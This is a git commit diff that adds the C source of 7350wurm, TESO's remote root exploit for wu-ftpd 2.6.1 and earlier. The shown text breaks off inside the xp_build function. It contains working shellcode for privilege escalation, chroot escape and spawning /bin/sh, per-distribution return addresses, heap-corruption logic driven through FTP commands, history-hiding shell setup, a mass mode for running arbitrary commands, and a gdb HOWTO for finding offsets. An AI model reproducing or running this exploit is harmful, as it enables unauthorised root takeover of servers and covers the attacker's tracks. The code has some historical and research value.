diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /exploits/7350wurm | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'exploits/7350wurm')
102 files changed, 13094 insertions, 0 deletions
diff --git a/exploits/7350wurm/7350wurm b/exploits/7350wurm/7350wurm new file mode 100755 index 0000000..368e7e2 --- /dev/null +++ b/exploits/7350wurm/7350wurm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/7350wurm-backup2.c b/exploits/7350wurm/7350wurm-backup2.c new file mode 100644 index 0000000..7d8495e --- /dev/null +++ b/exploits/7350wurm/7350wurm-backup2.c | |||
| @@ -0,0 +1,1173 @@ | |||
| 1 | /* 7350wurm - x86/linux wu-ftpd remote root exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * The distribution restrictions cover the entire file, including this | ||
| 14 | * header notice. (This means, you are not allowed to reproduce the header). | ||
| 15 | * | ||
| 16 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 17 | * All Rights Reserved | ||
| 18 | * | ||
| 19 | ***************************************************************************** | ||
| 20 | * thanks to bnuts, tomas, dvorak, scrippie and max for hints, discussions and | ||
| 21 | * ideas (synnergy.net rocks, thank you buddies ! :). | ||
| 22 | */ | ||
| 23 | |||
| 24 | #define VERSION "0.1.1" | ||
| 25 | |||
| 26 | #include <sys/types.h> | ||
| 27 | #include <sys/time.h> | ||
| 28 | #include <sys/socket.h> | ||
| 29 | #include <netinet/in.h> | ||
| 30 | #include <arpa/inet.h> | ||
| 31 | #include <arpa/telnet.h> | ||
| 32 | #include <netdb.h> | ||
| 33 | #include <errno.h> | ||
| 34 | #include <fcntl.h> | ||
| 35 | #include <unistd.h> | ||
| 36 | #include <stdio.h> | ||
| 37 | #include <stdlib.h> | ||
| 38 | #include <stdarg.h> | ||
| 39 | #include <string.h> | ||
| 40 | #include <time.h> | ||
| 41 | |||
| 42 | |||
| 43 | #define INIT_CMD "unset HISTFILE;id;uname -a;\n" | ||
| 44 | |||
| 45 | /* shellcodes | ||
| 46 | */ | ||
| 47 | unsigned char x86_lnx_loop[] = | ||
| 48 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 49 | "\xeb\xfe"; | ||
| 50 | |||
| 51 | /* x86/linux write/read/exec code (41 bytes) | ||
| 52 | * does: 1. write (1, "\nsP\n", 4); | ||
| 53 | * 2. read (0, ncode, 0xff); | ||
| 54 | * 3. jmp ncode | ||
| 55 | */ | ||
| 56 | unsigned char x86_wrx[] = | ||
| 57 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 58 | |||
| 59 | "\x31\xdb\x43\xb8\x0b\x74\x51\x0b\x2d\x01\x01\x01" | ||
| 60 | "\x01\x50\x89\xe1\x6a\x04\x58\x89\xc2\xcd\x80\xeb" | ||
| 61 | "\x0e\x31\xdb\xf7\xe3\xfe\xca\x59\x6a\x03\x58\xcd" | ||
| 62 | "\x80\xeb\x05\xe8\xed\xff\xff\xff"; | ||
| 63 | |||
| 64 | |||
| 65 | unsigned char x86_lnx_execve[] = | ||
| 66 | /* 49 byte x86 linux PIC setreuid(0,0) + chroot-break | ||
| 67 | * code by lorian / teso | ||
| 68 | */ | ||
| 69 | "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54" | ||
| 70 | "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80" | ||
| 71 | "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b" | ||
| 72 | "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd" | ||
| 73 | "\x80" | ||
| 74 | |||
| 75 | /* 33 byte x86/linux PIC argv -sc | ||
| 76 | */ | ||
| 77 | "\xeb\x1c\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75" | ||
| 78 | "\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89" | ||
| 79 | // "\xe1\xb0\x0b\xcd\x80\xe8\xdf\xff\xff\xff"; | ||
| 80 | /*FIXME*/"\xe1\xb0\x0b\xcc\xcd\x80\xe8\xdf\xff\xff\xff"; | ||
| 81 | // ^^ debug trap | ||
| 82 | |||
| 83 | |||
| 84 | /* setreuid/chroot/execve | ||
| 85 | * lorian / teso */ | ||
| 86 | unsigned char x86_lnx_shell[] = | ||
| 87 | "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54" | ||
| 88 | "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80" | ||
| 89 | "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b" | ||
| 90 | "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd" | ||
| 91 | "\x80" | ||
| 92 | "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f" | ||
| 93 | "\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"; | ||
| 94 | |||
| 95 | /* HOWTO get the offsets: | ||
| 96 | |||
| 97 | retloc: objdump -R /usr/sbin/in.ftpd | grep free | ||
| 98 | |||
| 99 | set retaddr to 0x41414141 and run the exploit: | ||
| 100 | $ ./7 -t <yourtype> -D -v | ||
| 101 | |||
| 102 | Now when it asks for enter, just press it, but as it asks the second | ||
| 103 | time, attach GDB to the wuftpd process. Continue it, and press enter | ||
| 104 | in the exploit. Wuftpd will segfault. | ||
| 105 | |||
| 106 | Do: | ||
| 107 | (gdb) x/10wx $esp | ||
| 108 | |||
| 109 | It will show some parameters to free, the first parameter of the form | ||
| 110 | 0x08...... is interesting: | ||
| 111 | |||
| 112 | (gdb) x/64wx 0x08...... | ||
| 113 | |||
| 114 | Should show a block of 0x0ceb0ceb's in memory. Just choose such a place | ||
| 115 | as retloc and there you are. | ||
| 116 | */ | ||
| 117 | |||
| 118 | typedef struct { | ||
| 119 | char * desc; /* distribution */ | ||
| 120 | char * banner; /* ftp banner part */ | ||
| 121 | unsigned char * shellcode; | ||
| 122 | unsigned int shellcode_len; | ||
| 123 | |||
| 124 | unsigned long int retloc; /* return address location */ | ||
| 125 | unsigned long int retaddr; /* return address */ | ||
| 126 | } tgt_type; | ||
| 127 | |||
| 128 | |||
| 129 | tgt_type tmanual = { | ||
| 130 | "manual values", | ||
| 131 | "unknown banner", | ||
| 132 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 133 | 0x41414141, 0x42424242 | ||
| 134 | }; | ||
| 135 | |||
| 136 | tgt_type targets[] = { | ||
| 137 | { "Debian sid [wu-ftpd_2.6.1-5_i386.deb]", | ||
| 138 | "Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001", | ||
| 139 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 140 | 0x0806e7a0, 0x08094018 }, | ||
| 141 | |||
| 142 | { "Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]", | ||
| 143 | "Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000", | ||
| 144 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 145 | 0x080713e0, 0x08093c40 }, | ||
| 146 | |||
| 147 | { "Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]", | ||
| 148 | "Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001", | ||
| 149 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 150 | 0x08072bd4, 0x080976e0}, | ||
| 151 | |||
| 152 | { "RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.rpm]", | ||
| 153 | "Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998", | ||
| 154 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 155 | 0x08061c48, 0x0806c948 }, | ||
| 156 | |||
| 157 | /* TODO: check, does not segfault ! | ||
| 158 | { "RedHat 6.0 (Hedwig) [wu-ftpd-2.4.2vr17-3.rpm]", | ||
| 159 | "Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999", | ||
| 160 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 161 | 0x08069f04, 0x41414141 }, | ||
| 162 | */ | ||
| 163 | |||
| 164 | { "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]", | ||
| 165 | "Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999", | ||
| 166 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 167 | 0x0806cb88, 0x08089848 }, | ||
| 168 | |||
| 169 | { "RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]", | ||
| 170 | "Version wu-2.6.1-16(1)", | ||
| 171 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 172 | 0x0807314c, 0x08098e40 }, | ||
| 173 | |||
| 174 | /* slackware (from 8 on they use proftpd by default) */ | ||
| 175 | { "Slackware 7", | ||
| 176 | "Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999", | ||
| 177 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 178 | 0x0806d03c, 0x0808f648 }, | ||
| 179 | |||
| 180 | { "Slackware 7.1", | ||
| 181 | "Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000", | ||
| 182 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 183 | 0x0806ba2c, 0x08088e48 }, | ||
| 184 | |||
| 185 | { NULL, NULL, 0, 0, 0, 0 }, | ||
| 186 | }; | ||
| 187 | |||
| 188 | /* exploitation related stuff. | ||
| 189 | * DO NOT CHANGE, except you know exactly what you are doing. | ||
| 190 | */ | ||
| 191 | #define CHUNK_POS 256 | ||
| 192 | |||
| 193 | /* FTP related stuff | ||
| 194 | */ | ||
| 195 | char * dest = "127.0.0.1"; /* can be changed with -d */ | ||
| 196 | char * username = "ftp"; /* can be changed with -u */ | ||
| 197 | char * password = "mozilla@"; /* can be changed with -p */ | ||
| 198 | |||
| 199 | char * ftp_banner = NULL; | ||
| 200 | |||
| 201 | int verbose = 0; | ||
| 202 | |||
| 203 | |||
| 204 | /* FTP prototypes | ||
| 205 | */ | ||
| 206 | void ftp_escape (unsigned char *buf, unsigned long int buflen); | ||
| 207 | void ftp_recv_until (int sock, char *buff, int len, char *begin); | ||
| 208 | int ftp_login (char *host, char *user, char *pass); | ||
| 209 | |||
| 210 | |||
| 211 | /* main prototypes | ||
| 212 | */ | ||
| 213 | void usage (char *progname); | ||
| 214 | tgt_type * tgt_frombanner (unsigned char *banner); | ||
| 215 | void shell (int sock); | ||
| 216 | void hexdump (char *desc, unsigned char *data, unsigned int amount); | ||
| 217 | |||
| 218 | void xp_buildsize (int fd, unsigned char this_size_ls); | ||
| 219 | void xp_gapfill (int fd, int rnfr_num, int rnfr_size); | ||
| 220 | int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len); | ||
| 221 | void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen); | ||
| 222 | |||
| 223 | |||
| 224 | /*** MASS mode stuff | ||
| 225 | */ | ||
| 226 | static int | ||
| 227 | sc_build_x86_lnx (unsigned char *target, size_t target_len, | ||
| 228 | unsigned char *shellcode, char **argv); | ||
| 229 | |||
| 230 | int mass = 0; /* enable with -m (kids, get hurt!) */ | ||
| 231 | unsigned int mlen = 0; | ||
| 232 | unsigned char mcode[256]; | ||
| 233 | |||
| 234 | |||
| 235 | /* imported from network.c | ||
| 236 | */ | ||
| 237 | #define NET_CONNTIMEOUT 60 | ||
| 238 | #define NET_READTIMEOUT 20 | ||
| 239 | int net_conntimeout = NET_CONNTIMEOUT; | ||
| 240 | |||
| 241 | unsigned long int net_resolve (char *host); | ||
| 242 | int net_connect (struct sockaddr_in *cs, char *server, | ||
| 243 | unsigned short int port, int sec); | ||
| 244 | void net_write (int fd, const char *str, ...); | ||
| 245 | int net_rtimeout (int fd, int sec); | ||
| 246 | int net_rlinet (int fd, char *buf, int bufsize, int sec); | ||
| 247 | |||
| 248 | |||
| 249 | /* exploitation related stuff, which is fixed on all wuftpd systems | ||
| 250 | */ | ||
| 251 | #define RNFR_SIZE 4 | ||
| 252 | #define RNFR_NUM 73 | ||
| 253 | |||
| 254 | int automode = 0; /* evil, do not use */ | ||
| 255 | int debugmode = 0; | ||
| 256 | |||
| 257 | void | ||
| 258 | usage (char *progname) | ||
| 259 | { | ||
| 260 | fprintf (stderr, "usage: %s [-h] [-v] [-a] [-D] [-m]\n" | ||
| 261 | "\t[-t <num>] [-u <user>] [-p <pass>] [-d host]\n" | ||
| 262 | "\t[-L <retloc>] [-A <retaddr>]\n\n", progname); | ||
| 263 | |||
| 264 | fprintf (stderr, | ||
| 265 | "-h\tthis help\n" | ||
| 266 | "-v\tbe verbose (default: off, twice for greater effect)\n" | ||
| 267 | "-a\tAUTO mode (target from banner)\n" | ||
| 268 | "-D\tDEBUG mode (waits for keypresses)\n" | ||
| 269 | "-m\tenable mass mode (use with care)\n" | ||
| 270 | "-t num\tchoose target (0 for list, try -v or -v -v)\n" | ||
| 271 | "-u user\tusername to login to FTP (default: \"ftp\")\n" | ||
| 272 | "-p pass\tpassword to use (default: \"mozilla@\")\n" | ||
| 273 | "-d dest\tIP address or fqhn to connect to " | ||
| 274 | "(default: 127.0.0.1)\n" | ||
| 275 | "-L loc\toverride target-supplied retloc (format: 0xdeadbeef)\n" | ||
| 276 | "-A addr\toverride target-supplied retaddr (format: 0xcafebabe)\n"); | ||
| 277 | fprintf (stderr, "\n"); | ||
| 278 | |||
| 279 | exit (EXIT_FAILURE); | ||
| 280 | } | ||
| 281 | |||
| 282 | |||
| 283 | int | ||
| 284 | main (int argc, char *argv[]) | ||
| 285 | { | ||
| 286 | char c; | ||
| 287 | char * progname; /* = argv[0] */ | ||
| 288 | int fd; | ||
| 289 | |||
| 290 | tgt_type * tgt = NULL; | ||
| 291 | int tgt_num = -1; | ||
| 292 | unsigned long int user_retloc = 0, | ||
| 293 | user_retaddr = 0; | ||
| 294 | unsigned long int malign = 0; /* PWD alignment */ | ||
| 295 | |||
| 296 | unsigned char xpbuf[512 + 16]; | ||
| 297 | |||
| 298 | |||
| 299 | fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root\n" | ||
| 300 | "team teso (thx bnuts, tomas, synnergy.net !).\n\n"); | ||
| 301 | |||
| 302 | progname = argv[0]; | ||
| 303 | if (argc < 2) | ||
| 304 | usage (progname); | ||
| 305 | |||
| 306 | |||
| 307 | while ((c = getopt (argc, argv, "M:hvaDmt:u:p:d:L:A:")) != EOF) { | ||
| 308 | switch (c) { | ||
| 309 | case 'M': | ||
| 310 | if (sscanf (optarg, "%lu", &malign) != 1) | ||
| 311 | usage (progname); | ||
| 312 | break; | ||
| 313 | case 'h': | ||
| 314 | usage (progname); | ||
| 315 | break; | ||
| 316 | case 'a': | ||
| 317 | automode = 1; | ||
| 318 | break; | ||
| 319 | case 'D': | ||
| 320 | debugmode = 1; | ||
| 321 | break; | ||
| 322 | case 'v': | ||
| 323 | verbose += 1; | ||
| 324 | break; | ||
| 325 | case 'm': | ||
| 326 | mass = 1; | ||
| 327 | break; | ||
| 328 | case 't': | ||
| 329 | if (sscanf (optarg, "%u", &tgt_num) != 1) | ||
| 330 | usage (progname); | ||
| 331 | break; | ||
| 332 | case 'u': | ||
| 333 | username = optarg; | ||
| 334 | printf ("username = %s\n", optarg); | ||
| 335 | break; | ||
| 336 | case 'p': | ||
| 337 | password = optarg; | ||
| 338 | break; | ||
| 339 | case 'd': | ||
| 340 | dest = optarg; | ||
| 341 | break; | ||
| 342 | case 'L': | ||
| 343 | if (sscanf (optarg, "0x%lx", &user_retloc) != 1) | ||
| 344 | usage (progname); | ||
| 345 | break; | ||
| 346 | case 'A': | ||
| 347 | if (sscanf (optarg, "0x%lx", &user_retaddr) != 1) | ||
| 348 | usage (progname); | ||
| 349 | break; | ||
| 350 | default: | ||
| 351 | usage (progname); | ||
| 352 | break; | ||
| 353 | } | ||
| 354 | } | ||
| 355 | |||
| 356 | /* if both required offsets are given manually, then we dont have | ||
| 357 | * to require a target selection. otherwise check whether the target | ||
| 358 | * is within the list. if its not, then print a list of available | ||
| 359 | * targets | ||
| 360 | */ | ||
| 361 | if (user_retloc != 0 && user_retaddr != 0) { | ||
| 362 | tgt = &tmanual; | ||
| 363 | } else if (automode == 0 && (tgt_num == 0 || | ||
| 364 | tgt_num >= (sizeof (targets) / sizeof (tgt_type)))) | ||
| 365 | { | ||
| 366 | if (tgt_num != 0) | ||
| 367 | printf ("WARNING: target out of list. giving list\n\n"); | ||
| 368 | tgt_num = 0; | ||
| 369 | |||
| 370 | printf ("num . description\n"); | ||
| 371 | printf ("----+-------------------------------------------------------\n"); | ||
| 372 | |||
| 373 | for ( ; targets[tgt_num].desc != NULL ; ++tgt_num) { | ||
| 374 | printf ("%3d | %s\n", tgt_num + 1, | ||
| 375 | targets[tgt_num].desc); | ||
| 376 | |||
| 377 | if (verbose) | ||
| 378 | printf (" : %s\n", targets[tgt_num].banner); | ||
| 379 | if (verbose >= 2) | ||
| 380 | printf (" : retloc: 0x%08lx " | ||
| 381 | "retaddr: 0x%08lx\n", | ||
| 382 | targets[tgt_num].retloc, | ||
| 383 | targets[tgt_num].retaddr); | ||
| 384 | } | ||
| 385 | |||
| 386 | printf (" '\n"); | ||
| 387 | |||
| 388 | exit (EXIT_SUCCESS); | ||
| 389 | } | ||
| 390 | if (tgt == NULL && automode == 0) | ||
| 391 | tgt = &targets[tgt_num - 1]; | ||
| 392 | |||
| 393 | if (mass == 1) { | ||
| 394 | if ((argc - optind) == 0) | ||
| 395 | usage (progname); | ||
| 396 | |||
| 397 | mlen = sc_build_x86_lnx (mcode, sizeof (mcode), | ||
| 398 | x86_lnx_execve, &argv[optind]); | ||
| 399 | |||
| 400 | if (mlen >= 0xff) { | ||
| 401 | fprintf (stderr, "created argv-code too long " | ||
| 402 | "(%d bytes)\n", mlen); | ||
| 403 | |||
| 404 | exit (EXIT_FAILURE); | ||
| 405 | } | ||
| 406 | |||
| 407 | fprintf (stderr, "# created %d byte execve shellcode\n", mlen); | ||
| 408 | } | ||
| 409 | |||
| 410 | |||
| 411 | printf ("# trying to log into %s with (%s/%s) ...", dest, | ||
| 412 | username, password); | ||
| 413 | fflush (stdout); | ||
| 414 | |||
| 415 | fd = ftp_login (dest, username, password); | ||
| 416 | if (fd <= 0) { | ||
| 417 | fprintf (stderr, "\nfailed to connect (user/pass correct?)\n"); | ||
| 418 | exit (EXIT_FAILURE); | ||
| 419 | } | ||
| 420 | printf (" connected.\n"); | ||
| 421 | |||
| 422 | if (debugmode) { | ||
| 423 | printf ("DEBUG: press enter\n"); | ||
| 424 | getchar (); | ||
| 425 | } | ||
| 426 | |||
| 427 | printf ("# banner: %s", (ftp_banner == NULL) ? "???" : | ||
| 428 | ftp_banner); | ||
| 429 | |||
| 430 | if (tgt == NULL && automode) { | ||
| 431 | tgt = tgt_frombanner (ftp_banner); | ||
| 432 | if (tgt == NULL) { | ||
| 433 | printf ("# failed to jield target from banner, aborting\n"); | ||
| 434 | |||
| 435 | exit (EXIT_FAILURE); | ||
| 436 | } | ||
| 437 | printf ("# successfully selected target from banner\n"); | ||
| 438 | } | ||
| 439 | |||
| 440 | |||
| 441 | if (user_retaddr != 0) { | ||
| 442 | fprintf (stderr, "# overriding target retaddr with: 0x%08lx\n", | ||
| 443 | user_retaddr); | ||
| 444 | |||
| 445 | tgt->retaddr = user_retaddr; | ||
| 446 | } | ||
| 447 | |||
| 448 | if (user_retloc != 0) { | ||
| 449 | fprintf (stderr, "# overriding target retloc with: 0x%08lx\n", | ||
| 450 | user_retloc); | ||
| 451 | |||
| 452 | tgt->retloc = user_retloc; | ||
| 453 | } | ||
| 454 | |||
| 455 | printf ("\n### TARGET: %s\n\n", tgt->desc); | ||
| 456 | |||
| 457 | /* real stuff starts from here | ||
| 458 | */ | ||
| 459 | printf ("# 1. filling memory gaps\n"); | ||
| 460 | xp_gapfill (fd, RNFR_NUM, RNFR_SIZE); | ||
| 461 | |||
| 462 | |||
| 463 | printf ("# 2. sending bigbuf + fakechunk\n"); | ||
| 464 | xp_build (tgt, xpbuf, 500 - strlen ("LIST ")); | ||
| 465 | if (verbose) | ||
| 466 | hexdump ("xpbuf", xpbuf, strlen (xpbuf)); | ||
| 467 | ftp_escape (xpbuf, sizeof (xpbuf)); | ||
| 468 | net_write (fd, "CWD %s\n", xpbuf); | ||
| 469 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 "); | ||
| 470 | |||
| 471 | |||
| 472 | /* synnergy.net uberleet method (thank you very much guys !) | ||
| 473 | */ | ||
| 474 | net_write (fd, "CWD ~/{.,.,.,.}\n"); | ||
| 475 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 "); | ||
| 476 | |||
| 477 | /* now, we flush the last-used-chunk marker in glibc malloc code. else | ||
| 478 | * we might land in a previously used bigger chunk, but we need a | ||
| 479 | * sequential order. "CWD ." will allocate a two byte chunk, which will | ||
| 480 | * be reused on any later small malloc. | ||
| 481 | */ | ||
| 482 | net_write (fd, "CWD .\n"); | ||
| 483 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 "); | ||
| 484 | |||
| 485 | xp_gapfill (fd, 1, 16); /* cause chunk w/ 0x20 size */ | ||
| 486 | |||
| 487 | { | ||
| 488 | unsigned long int dir_chunk_size, | ||
| 489 | bridge_dist, | ||
| 490 | padchunk_size, | ||
| 491 | fakechunk_size; | ||
| 492 | unsigned char * dl; /* dirlength */ | ||
| 493 | |||
| 494 | net_write (fd, "PWD\n"); | ||
| 495 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "257 "); | ||
| 496 | |||
| 497 | dl = strchr (xpbuf, '"'); | ||
| 498 | if (dl == NULL || strchr (dl + 1, '"') == NULL) { | ||
| 499 | fprintf (stderr, "faulty PWD reply: %s\n", xpbuf); | ||
| 500 | |||
| 501 | exit (EXIT_FAILURE); | ||
| 502 | } | ||
| 503 | |||
| 504 | dir_chunk_size = 0; | ||
| 505 | for (dl += 1 ; *dl != '"' ; ++dl) | ||
| 506 | dir_chunk_size += 1; | ||
| 507 | |||
| 508 | dir_chunk_size += 1; /* NUL byte */ | ||
| 509 | dir_chunk_size = (dir_chunk_size + 7) & ~7; | ||
| 510 | dir_chunk_size = (dir_chunk_size + 4 + 7) & ~7; | ||
| 511 | printf ("dir_chunk_size = 0x%08lx\n", dir_chunk_size); | ||
| 512 | |||
| 513 | /* 0x10 (CWD ~/{.,.,.,.}) + 4 * dirchunk */ | ||
| 514 | bridge_dist = 0x10 + 4 * dir_chunk_size; | ||
| 515 | printf ("bridge_dist = 0x%08lx\n", bridge_dist); | ||
| 516 | /* 0x18 (RNFR 16), 0x10 (RNFR .), 0x10 (CWD ~{) */ | ||
| 517 | padchunk_size = bridge_dist - 0x18 - 0x10 - 0x10; | ||
| 518 | printf ("padchunk_size = 0x%08lx\n", padchunk_size); | ||
| 519 | |||
| 520 | /* +4 = this_size field itself */ | ||
| 521 | fakechunk_size = CHUNK_POS - 0x1c + 4; | ||
| 522 | #if 0 | ||
| 523 | fakechunk_size = 0x18 + /* RNFR 16* */ | ||
| 524 | 0x10 + /* RNFR . */ | ||
| 525 | padchunk_size + /* RNFR padding */ | ||
| 526 | 0x10 + /* CWD ~{ */ | ||
| 527 | 0x10; /* globlist = malloc(...) */ | ||
| 528 | #endif | ||
| 529 | fakechunk_size |= 0x1; /* PREV_INUSE */ | ||
| 530 | |||
| 531 | printf ("fakechunk_size = 0x%08lx\n", fakechunk_size); | ||
| 532 | xp_buildsize (fd, fakechunk_size); /* fakechunk size */ | ||
| 533 | xp_gapfill (fd, 1, 1); /* protect this_size */ | ||
| 534 | |||
| 535 | /* pad down to the minimum possible size in 8 byte alignment | ||
| 536 | */ | ||
| 537 | xp_gapfill (fd, 1, padchunk_size - 8 - 1); | ||
| 538 | } | ||
| 539 | |||
| 540 | if (debugmode) { | ||
| 541 | printf ("press enter\n"); | ||
| 542 | getchar (); | ||
| 543 | } | ||
| 544 | |||
| 545 | printf ("# 3. triggering free(globlist[1])\n"); | ||
| 546 | net_write (fd, "CWD ~{\n"); | ||
| 547 | |||
| 548 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP"); | ||
| 549 | if (strncmp (xpbuf, "sP", 2) != 0) { | ||
| 550 | fprintf (stderr, "exploitation FAILED !\noutput:\n%s\n", | ||
| 551 | xpbuf); | ||
| 552 | |||
| 553 | exit (EXIT_FAILURE); | ||
| 554 | } | ||
| 555 | |||
| 556 | printf ("#\n# exploitation succeeded. sending real shellcode\n"); | ||
| 557 | |||
| 558 | if (mass == 1) { | ||
| 559 | printf ("# mass mode, sending constructed argv code\n"); | ||
| 560 | |||
| 561 | net_write (fd, "%s\n", mcode); | ||
| 562 | |||
| 563 | printf ("# send. sleeping 10 seconds\n"); | ||
| 564 | sleep (10); | ||
| 565 | |||
| 566 | printf ("# success.\n"); | ||
| 567 | |||
| 568 | exit (EXIT_SUCCESS); | ||
| 569 | } | ||
| 570 | |||
| 571 | printf ("# sending setreuid/chroot/execve shellcode\n"); | ||
| 572 | net_write (fd, "%s", x86_lnx_shell); | ||
| 573 | |||
| 574 | printf ("# spawning shell\n"); | ||
| 575 | printf ("##################################################" | ||
| 576 | "##########################\n"); | ||
| 577 | |||
| 578 | write (fd, INIT_CMD, strlen (INIT_CMD)); | ||
| 579 | shell (fd); | ||
| 580 | |||
| 581 | exit (EXIT_SUCCESS); | ||
| 582 | } | ||
| 583 | |||
| 584 | |||
| 585 | tgt_type * | ||
| 586 | tgt_frombanner (unsigned char *banner) | ||
| 587 | { | ||
| 588 | int tw; /* target list walker */ | ||
| 589 | |||
| 590 | |||
| 591 | for (tw = 0 ; targets[tw].desc != NULL ; ++tw) { | ||
| 592 | if (strstr (banner, targets[tw].banner) != NULL) | ||
| 593 | return (&targets[tw]); | ||
| 594 | } | ||
| 595 | |||
| 596 | return (NULL); | ||
| 597 | } | ||
| 598 | |||
| 599 | |||
| 600 | void | ||
| 601 | xp_buildsize (int fd, unsigned char this_size_ls) | ||
| 602 | { | ||
| 603 | int n; | ||
| 604 | char * rst_arr[3] = { "7350foo", "7350fo", NULL }; | ||
| 605 | unsigned char tmpbuf[512]; | ||
| 606 | |||
| 607 | |||
| 608 | for (n = 0 ; rst_arr[n] != NULL ; ++n) { | ||
| 609 | net_write (fd, "CWD %s\n", rst_arr[n]); | ||
| 610 | ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 "); | ||
| 611 | } | ||
| 612 | |||
| 613 | net_write (fd, "CWD 7350%c\n", this_size_ls); | ||
| 614 | ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 "); | ||
| 615 | |||
| 616 | return; | ||
| 617 | } | ||
| 618 | |||
| 619 | |||
| 620 | /* xp_gapfill | ||
| 621 | * | ||
| 622 | * fill all small memory gaps in wuftpd malloc space. do this by sending | ||
| 623 | * rnfr requests which cause a memleak in wuftpd. | ||
| 624 | * | ||
| 625 | * return in any case | ||
| 626 | */ | ||
| 627 | |||
| 628 | void | ||
| 629 | xp_gapfill (int fd, int rnfr_num, int rnfr_size) | ||
| 630 | { | ||
| 631 | int n; | ||
| 632 | unsigned char * rb; /* rnfr buffer */ | ||
| 633 | unsigned char * rbw; /* rnfr buffer walker */ | ||
| 634 | unsigned char rcv_buf[512]; /* temporary receive buffer */ | ||
| 635 | |||
| 636 | |||
| 637 | rbw = rb = calloc (1, rnfr_size + 6); | ||
| 638 | strcpy (rbw, "RNFR "); | ||
| 639 | rbw += strlen (rbw); | ||
| 640 | |||
| 641 | /* append a string of "././././". since wuftpd only checks whether | ||
| 642 | * the pathname is lstat'able, it will go through without any problems | ||
| 643 | */ | ||
| 644 | for (n = 0 ; n < rnfr_size ; ++n) | ||
| 645 | strcat (rbw, ((n % 2) == 0) ? "." : "/"); | ||
| 646 | strcat (rbw, "\n"); | ||
| 647 | |||
| 648 | for (n = 0 ; n < rnfr_num; ++n) { | ||
| 649 | net_write (fd, "%s", rb); | ||
| 650 | ftp_recv_until (fd, rcv_buf, sizeof (rcv_buf), "350 "); | ||
| 651 | } | ||
| 652 | free (rb); | ||
| 653 | |||
| 654 | return; | ||
| 655 | } | ||
| 656 | |||
| 657 | |||
| 658 | #define ADDR_STORE(ptr,addr){\ | ||
| 659 | ((unsigned char *) (ptr))[0] = (addr) & 0xff;\ | ||
| 660 | ((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;\ | ||
| 661 | ((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;\ | ||
| 662 | ((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;\ | ||
| 663 | } | ||
| 664 | |||
| 665 | |||
| 666 | int | ||
| 667 | xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len) | ||
| 668 | { | ||
